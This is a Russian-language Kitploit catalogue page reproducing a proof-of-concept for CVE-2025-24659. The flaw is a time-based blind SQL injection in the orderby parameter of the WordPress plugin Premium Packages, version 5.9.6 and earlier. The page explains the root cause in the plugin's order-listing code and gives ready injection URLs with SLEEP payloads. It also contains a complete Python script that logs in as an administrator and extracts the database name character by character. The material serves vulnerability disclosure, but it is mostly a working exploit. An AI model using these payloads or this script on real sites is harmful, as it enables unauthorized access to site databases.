Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-24659 — PoC для CVE-2025-24659 | Kitploit
Инструменты/GitHubGitHub/dottak/cve-2025-24659
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubdottak/cve-2025-24659

CVE-2025-24659

PoC для CVE-2025-24659

Репозиторий
111 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-24659

1️⃣ Тип компонента

Плагин WordPress

2️⃣ Детали компонента

Название компонента Premium Packages – Sell Digital Products Securely

Уязвимая версия <= 5.9.6

Слаг компонента wpdm-premium-packages

Ссылка на компонент https://wordpress.org/plugins/wpdm-premium-packages/

3️⃣ OWASP 2017: TOP 10

Класс уязвимости A3: Injection

Тип уязвимости SQL Injection

4️⃣ Предварительные требования

Администратор

5️⃣ Детали уязвимости

👉 Краткое описание

Уязвимость SQL-инъекции существует в версиях 5.9.6 и ниже плагина Premium Packages - Sell Digital Products Securely (далее — плагин Premium Packages). Она возникает из-за недостаточного экранирования URL-параметра orderby при просмотре списка заказов в меню заказов панели управления плагина (/wp-admin/edit.php?post_type=wpdmpro&page=orders).

В результате злоумышленник с правами администратора может использовать эту уязвимость для доступа ко всей информации, хранящейся в базе данных целевого сайта.

Кроме того, хотя данная уязвимость SQL-инъекции не позволяет напрямую извлекать данные из ответа, информацию можно получить с помощью техник слепой SQL-инъекции на основе времени (Time-Based Blind SQL Injection), которые используют разницу во времени ответа в зависимости от истинности/ложности условий в SQL-запросах.

👉 Как воспроизвести (PoC)

  1. Войдите как администратор на сайт WordPress, где установлен и активирован плагин Premium Packages.

    Поскольку плагин Premium Packages является аддоном для плагина Download Manager (https://wordpress.org/plugins/download-manager/), плагин Download Manager также должен быть установлен и активирован.

  2. При переходе по указанному ниже URL условие SQL-запроса (1=1) всегда будет истинным, поэтому страница отобразится через 5 секунд из-за функции SLEEP(5).

root@kitploit:~
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

image

  1. С другой стороны, при переходе по URL ниже условие SQL-запроса (1=2) всегда ложно, поэтому страница отображается немедленно.
root@kitploit:~
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

image

👉 Дополнительная информация (необязательно)

[Корневая причина уязвимости]

При запросе панели списка заказов плагина Premium Packages выполняется файл /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php.

В этот момент значение URL-параметра orderby присваивается переменной $orderby без надлежащего экранирования. Затем переменная $orderby передаётся в переменную $qry и попадает в предложение ORDER BY SQL-запроса.

image

Затем переменная $qry передаётся в качестве аргумента функциям totalOrders и GetAllOrders.

Эти функции определены в файле /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php, и полученное значение аргумента напрямую используется в запросах к базе данных.

image

Таким образом, поскольку значение URL-параметра orderby используется в запросах к базе данных без экранирования, возникает уязвимость SQL-инъекции.

[Реализация и запуск PoC-кода]

  1. Откройте PoC-код в редакторе и укажите адрес сайта WordPress и учётные данные администратора.

image

  1. Затем выполните следующую команду для запуска PoC-кода.

    Необходимые модули requests

    root@kitploit:~
    python poc.py
    

    image

⭐ PoC-код

root@kitploit:~
import re
import time
import string
import requests

## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
    "https": PROXY_SERVER,
    "http": PROXY_SERVER,
}

SLEEP_TIMER = 1

def __login_get_session(login_id, login_pw):
    session = requests.session()
    data = {
        "log": login_id,
        "pwd": login_pw,
        "wp-submit": "Log In",
        "testcookie": 1
    }
    resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
    if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
        print(f" |- Successfully logged in with account {login_id}.")
        return session
    else:
        raise Exception(f"[-] Failed to log in.")

def poc_get_db_length(session):
    length = 1
    while True:
        payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
        params = {
            "post_type": "wpdmpro",
            "page": "orders",
            "orderby": payload
        }
        start_time = time.time()
        session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

        if (time.time() - start_time) < SLEEP_TIMER:
            print(f" |- Database name length is greater than {length}.")
            length += 1
        else:
            print(f" |- Database name length: {length}")
            break

    return length 
    

def poc_get_db_name(session, db_length):
    
    db_name = ""
    for i in range(1, db_length+1):
        for char in string.ascii_letters + string.digits:
            payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
            params = {
                "post_type": "wpdmpro",
                "page": "orders",
                "orderby": payload
            }
            start_time = time.time()
            session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

            if (time.time() - start_time) > SLEEP_TIMER:
                db_name += char
                print(f" |- Database name: {db_name.ljust(db_length, '*')}")
                break
    
    print(f" |- Successfully extracted the database name: {db_name}")

def poc():
    ####
    ## 1. Log in as administrator
    ####
    print(f"[+] Logging in with administrator account.")
    print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
    admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
    admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
    
    ###
    ## 2. Retrieve database name length
    ###
    print(f"[+] Retrieving database name length.")
    db_length = poc_get_db_length(admin_session)

    ###
    ## 3. Retrieve database name
    ###
    print(f"[+] Retrieving database name.")
    poc_get_db_name(admin_session, db_length)

if __name__ == "__main__":

    ## WordPress Target
    TARGET = "http://localhost:8080"

    ## Administrator ID/PW
    ADMIN_ID = "admin"
    ADMIN_PW = "admin"

    poc()

6️⃣ Демонстрация эксплуатации

video

7️⃣ Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24659
Скачать инструмент